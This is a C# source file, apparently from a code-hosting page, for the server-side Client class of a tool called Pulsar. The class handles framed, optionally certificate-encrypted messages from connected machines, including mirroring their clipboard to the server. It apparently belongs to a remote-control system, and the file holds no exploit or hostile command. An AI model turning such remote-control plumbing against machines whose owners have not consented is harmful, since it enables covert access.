512 lines
18 KiB
C#
512 lines
18 KiB
C#
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using Pulsar.Common.Messages.Other;
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using Pulsar.Common.Networking;
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using Pulsar.Server.Forms;
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using System;
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using System.Collections.Concurrent;
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using System.Collections.Generic;
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using System.Diagnostics;
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using System.IO;
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using System.Net;
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using System.Net.Sockets;
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using System.Security.Cryptography.X509Certificates;
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using System.Threading;
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namespace Pulsar.Server.Networking
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{
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public class Client : IEquatable<Client>, ISender
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{
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/// <summary>
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/// Occurs as a result of an unrecoverable issue with the client.
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/// </summary>
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public event ClientFailEventHandler ClientFail;
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/// <summary>
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/// Represents a method that will handle failure of the client.
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/// </summary>
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/// <param name="s">The client that has failed.</param>
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/// <param name="ex">The exception containing information about the cause of the client's failure.</param>
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public delegate void ClientFailEventHandler(Client s, Exception ex);
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/// <summary>
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/// Fires an event that informs subscribers that the client has failed.
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/// </summary>
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/// <param name="ex">The exception containing information about the cause of the client's failure.</param>
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private void OnClientFail(Exception ex)
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{
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var handler = ClientFail;
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handler?.Invoke(this, ex);
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}
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/// <summary>
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/// Occurs when the state of the client changes.
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/// </summary>
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public event ClientStateEventHandler ClientState;
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/// <summary>
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/// Represents the method that will handle a change in a client's state.
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/// </summary>
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/// <param name="s">The client which changed its state.</param>
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/// <param name="connected">The new connection state of the client.</param>
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public delegate void ClientStateEventHandler(Client s, bool connected);
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/// <summary>
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/// Fires an event that informs subscribers that the state of the client has changed.
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/// </summary>
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/// <param name="connected">The new connection state of the client.</param>
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private void OnClientState(bool connected)
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{
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if (Connected == connected) return;
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Connected = connected;
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var handler = ClientState;
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handler?.Invoke(this, connected);
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if (connected)
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{
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}
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}
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/// <summary>
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/// Occurs when a message is received from the client.
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/// </summary>
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public event ClientReadEventHandler ClientRead;
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/// <summary>
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/// Represents the method that will handle a message received from the client.
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/// </summary>
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/// <param name="s">The client that has received the message.</param>
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/// <param name="message">The message that received by the client.</param>
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/// <param name="messageLength">The length of the message.</param>
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public delegate void ClientReadEventHandler(Client s, IMessage message, int messageLength);
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/// <summary>
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/// Fires an event that informs subscribers that a message has been
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/// received from the client.
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/// </summary>
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/// <param name="message">The message that received by the client.</param>
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/// <param name="messageLength">The length of the message.</param>
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private void OnClientRead(IMessage message, int messageLength)
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{
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Debug.WriteLine($"[SERVER] Received packet: {message.GetType().Name} (Length: {messageLength} bytes) from {EndPoint}");
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var handler = ClientRead;
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handler?.Invoke(this, message, messageLength);
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}
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public static bool operator ==(Client c1, Client c2)
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{
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if (ReferenceEquals(c1, null))
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return ReferenceEquals(c2, null);
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return c1.Equals(c2);
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}
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public static bool operator !=(Client c1, Client c2)
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{
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return !(c1 == c2);
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}
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/// <summary>
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/// Checks whether the clients are equal.
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/// </summary>
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/// <param name="other">Client to compare with.</param>
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/// <returns>True if equal, else False.</returns>
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public bool Equals(Client other)
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{
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if (ReferenceEquals(null, other)) return false;
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if (ReferenceEquals(this, other)) return true;
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try
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{
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// the port is always unique for each client
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return this.EndPoint.Port.Equals(other.EndPoint.Port);
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}
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catch (Exception)
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{
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return false;
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}
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}
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public override bool Equals(object obj)
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{
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return this.Equals(obj as Client);
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}
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/// <summary>
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/// Returns the hashcode for this instance.
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/// </summary>
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/// <returns>A hash code for the current instance.</returns>
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public override int GetHashCode()
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{
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return this.EndPoint.GetHashCode();
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}
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/// <summary>
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/// The stream used for communication.
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/// </summary>
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private Stream _stream;
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private readonly X509Certificate2 _serverCertificate;
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private readonly bool _encryptTraffic;
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readonly object _readMessageLock = new object();
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readonly object _sendMessageLock = new object();
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readonly object _proxyClientsLock = new object();
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/// <summary>
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/// The buffer for the client's incoming payload.
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/// </summary>
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private byte[] _readBuffer;
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/// <summary>
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/// The queue which holds messages to send.
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/// </summary>
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private readonly ConcurrentQueue<IMessage> _sendBuffers = new ConcurrentQueue<IMessage>();
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/// <summary>
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/// Determines if the client is currently sending messages.
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/// </summary>
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private int _sendingMessagesFlag;
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// Receive info
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private int _readOffset;
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private int _readLength;
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/// <summary>
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/// The time when the client connected.
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/// </summary>
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public DateTime ConnectedTime { get; }
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/// <summary>
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/// The connection state of the client.
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/// </summary>
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public bool Connected { get; private set; }
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/// <summary>
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/// Determines if the client is identified.
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/// </summary>
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public bool Identified { get; set; }
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/// <summary>
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/// Stores values of the user.
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/// </summary>
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public UserState Value { get; set; }
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/// <summary>
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/// Indicates whether this client currently allows clipboard mirroring to the server host.
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/// </summary>
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public bool ClipboardSyncEnabled { get; set; }
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/// <summary>
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/// The Endpoint which the client is connected to.
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/// </summary>
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public IPEndPoint EndPoint { get; }
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/// <summary>
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/// The header size in bytes.
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/// </summary>
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private const int HEADER_SIZE = 4; // 4 B
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public Client(Stream stream, IPEndPoint endPoint, X509Certificate2 serverCertificate)
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{
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try
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{
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Identified = false;
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Value = new UserState();
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EndPoint = endPoint;
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ConnectedTime = DateTime.UtcNow;
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_stream = stream ?? throw new ArgumentNullException(nameof(stream));
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_serverCertificate = serverCertificate ?? throw new ArgumentNullException(nameof(serverCertificate));
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#if DEBUG
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var certificateUsable = SecureMessageEnvelopeHelper.CanUse(_serverCertificate);
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var enforceEncryptionFlag = Environment.GetEnvironmentVariable("PULSAR_DEBUG_ENFORCE_ENCRYPTION");
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var enforceEncryption = !string.IsNullOrWhiteSpace(enforceEncryptionFlag)
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&& (enforceEncryptionFlag.Equals("1", StringComparison.OrdinalIgnoreCase)
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|| enforceEncryptionFlag.Equals("true", StringComparison.OrdinalIgnoreCase)
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|| enforceEncryptionFlag.Equals("yes", StringComparison.OrdinalIgnoreCase));
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if (enforceEncryption && certificateUsable)
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{
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_encryptTraffic = true;
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Debug.WriteLine("[SERVER] Debug build: encryption enforced via PULSAR_DEBUG_ENFORCE_ENCRYPTION.");
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}
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else
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{
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_encryptTraffic = false;
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if (!certificateUsable)
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{
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Debug.WriteLine("[SERVER] Debug build: server certificate unavailable, running without encryption.");
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}
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else
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{
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var logMessage = enforceEncryption
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? "[SERVER] Debug build: encryption enforcement requested but certificate cannot be used; continuing without encryption."
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: "[SERVER] Debug build: encryption disabled by default for development.";
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Debug.WriteLine(logMessage);
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}
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}
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#else
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_encryptTraffic = SecureMessageEnvelopeHelper.CanUse(_serverCertificate);
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if (!_encryptTraffic)
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{
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throw new InvalidOperationException("A valid server certificate is required for secure communication.");
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}
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#endif
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_readBuffer = new byte[HEADER_SIZE];
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_readOffset = 0;
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_readLength = HEADER_SIZE;
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_stream.BeginRead(_readBuffer, _readOffset, _readBuffer.Length, AsyncReceive, null);
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OnClientState(true);
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}
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catch (Exception ex)
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{
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Disconnect();
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OnClientFail(ex);
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}
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}
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private void AsyncReceive(IAsyncResult result)
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{
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try
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{
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if (_stream == null)
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{
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return;
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}
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var bytesRead = _stream.EndRead(result);
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if (bytesRead <= 0)
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throw new Exception("no bytes transferred");
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lock (_readMessageLock)
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{
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_readOffset += bytesRead;
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_readLength -= bytesRead;
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if (_readLength == 0)
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{
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if (_readBuffer.Length == HEADER_SIZE)
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{
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var length = BitConverter.ToInt32(_readBuffer, 0);
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if (length <= 0)
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throw new InvalidDataException("Invalid message length.");
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_readBuffer = new byte[length];
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_readOffset = 0;
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_readLength = length;
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}
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else
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{
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try
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{
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var message = PulsarMessagePackSerializer.Deserialize(_readBuffer);
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message = ProcessIncomingMessage(message);
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OnClientRead(message, _readBuffer.Length);
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}
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finally
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{
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_readBuffer = new byte[HEADER_SIZE];
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_readOffset = 0;
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_readLength = HEADER_SIZE;
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}
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}
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}
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}
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if (_stream != null)
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{
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ThreadPool.QueueUserWorkItem(_ =>
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{
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try
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{
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if (_stream != null)
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{
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_stream.BeginRead(_readBuffer, _readOffset, _readLength, AsyncReceive, result.AsyncState);
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}
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}
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catch (Exception ex)
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{
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Disconnect();
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OnClientFail(ex);
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}
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});
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}
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}
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catch (Exception ex)
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{
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Disconnect();
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OnClientFail(ex);
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}
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}
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/// <summary>
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/// Sends a message to the connected client.
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/// </summary>
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/// <typeparam name="T">The type of the message.</typeparam>
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/// <param name="message">The message to be sent.</param>
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public void Send<T>(T message) where T : IMessage
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{
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if (!Connected || message == null) return;
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_sendBuffers.Enqueue(message);
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if (Interlocked.Exchange(ref _sendingMessagesFlag, 1) == 0)
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{
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ThreadPool.QueueUserWorkItem(ProcessSendBuffers);
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}
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}
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/// <summary>
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/// Sends a message to the connected client.
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/// Blocks the thread until the message has been sent.
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/// </summary>
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/// <typeparam name="T">The type of the message.</typeparam>
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/// <param name="message">The message to be sent.</param>
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public void SendBlocking<T>(T message) where T : IMessage
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{
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if (!Connected || message == null) return;
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SafeSendMessage(message);
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}
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/// <summary>
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/// Safely sends a message and prevents multiple simultaneous
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/// write operations on the <see cref="_stream"/>.
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/// </summary>
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/// <param name="message">The message to send.</param>
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private void SafeSendMessage(IMessage message)
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{
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try
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{
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lock (_sendMessageLock)
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{
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if (_stream == null)
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{
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return;
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}
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var prepared = PrepareMessageForSend(message);
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if (prepared == null)
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{
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return;
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}
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var payload = PulsarMessagePackSerializer.Serialize(prepared);
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int totalLength = HEADER_SIZE + payload.Length;
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var buffer = System.Buffers.ArrayPool<byte>.Shared.Rent(totalLength);
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try
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{
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System.Buffers.Binary.BinaryPrimitives.WriteInt32LittleEndian(new Span<byte>(buffer, 0, HEADER_SIZE), payload.Length);
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Buffer.BlockCopy(payload, 0, buffer, HEADER_SIZE, payload.Length);
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_stream.Write(buffer, 0, totalLength);
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}
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finally
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{
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System.Buffers.ArrayPool<byte>.Shared.Return(buffer, clearArray: false);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|
||
|
|
catch
|
||
|
|
{
|
||
|
|
Disconnect();
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
private void ProcessSendBuffers(object state)
|
||
|
|
{
|
||
|
|
while (true)
|
||
|
|
{
|
||
|
|
if (!Connected)
|
||
|
|
{
|
||
|
|
SendCleanup(true);
|
||
|
|
return;
|
||
|
|
}
|
||
|
|
|
||
|
|
if (!_sendBuffers.TryDequeue(out var message))
|
||
|
|
{
|
||
|
|
SendCleanup();
|
||
|
|
return;
|
||
|
|
}
|
||
|
|
|
||
|
|
SafeSendMessage(message);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
private void SendCleanup(bool clear = false)
|
||
|
|
{
|
||
|
|
Interlocked.Exchange(ref _sendingMessagesFlag, 0);
|
||
|
|
if (clear)
|
||
|
|
{
|
||
|
|
while (_sendBuffers.TryDequeue(out _)) ;
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
private IMessage PrepareMessageForSend(IMessage message)
|
||
|
|
{
|
||
|
|
if (message == null)
|
||
|
|
{
|
||
|
|
return null;
|
||
|
|
}
|
||
|
|
|
||
|
|
if (message is SecureMessageEnvelope)
|
||
|
|
{
|
||
|
|
return message;
|
||
|
|
}
|
||
|
|
|
||
|
|
if (!_encryptTraffic)
|
||
|
|
{
|
||
|
|
return message;
|
||
|
|
}
|
||
|
|
|
||
|
|
if (!SecureMessageEnvelopeHelper.CanUse(_serverCertificate))
|
||
|
|
{
|
||
|
|
throw new InvalidOperationException("Secure transport is enabled but the server certificate is unavailable.");
|
||
|
|
}
|
||
|
|
|
||
|
|
return SecureMessageEnvelopeHelper.Wrap(message, _serverCertificate);
|
||
|
|
}
|
||
|
|
|
||
|
|
private IMessage ProcessIncomingMessage(IMessage message)
|
||
|
|
{
|
||
|
|
if (message is SecureMessageEnvelope secureEnvelope)
|
||
|
|
{
|
||
|
|
if (!SecureMessageEnvelopeHelper.CanUse(_serverCertificate))
|
||
|
|
{
|
||
|
|
throw new InvalidOperationException("Received a secure envelope but the server certificate is unavailable for decryption.");
|
||
|
|
}
|
||
|
|
|
||
|
|
return SecureMessageEnvelopeHelper.Unwrap(secureEnvelope, _serverCertificate);
|
||
|
|
}
|
||
|
|
|
||
|
|
if (_encryptTraffic)
|
||
|
|
{
|
||
|
|
throw new InvalidOperationException($"Received unexpected plaintext message of type {message?.GetType().Name} while encryption is enforced.");
|
||
|
|
}
|
||
|
|
|
||
|
|
return message;
|
||
|
|
}
|
||
|
|
|
||
|
|
/// <summary>
|
||
|
|
/// Disconnect the client from the server and dispose of
|
||
|
|
/// resources associated with the client.
|
||
|
|
/// </summary>
|
||
|
|
public void Disconnect()
|
||
|
|
{
|
||
|
|
if (_stream != null)
|
||
|
|
{
|
||
|
|
_stream.Dispose();
|
||
|
|
_stream = null;
|
||
|
|
}
|
||
|
|
|
||
|
|
_readBuffer = new byte[HEADER_SIZE];
|
||
|
|
_readOffset = 0;
|
||
|
|
_readLength = HEADER_SIZE;
|
||
|
|
|
||
|
|
SendCleanup(true);
|
||
|
|
OnClientState(false);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|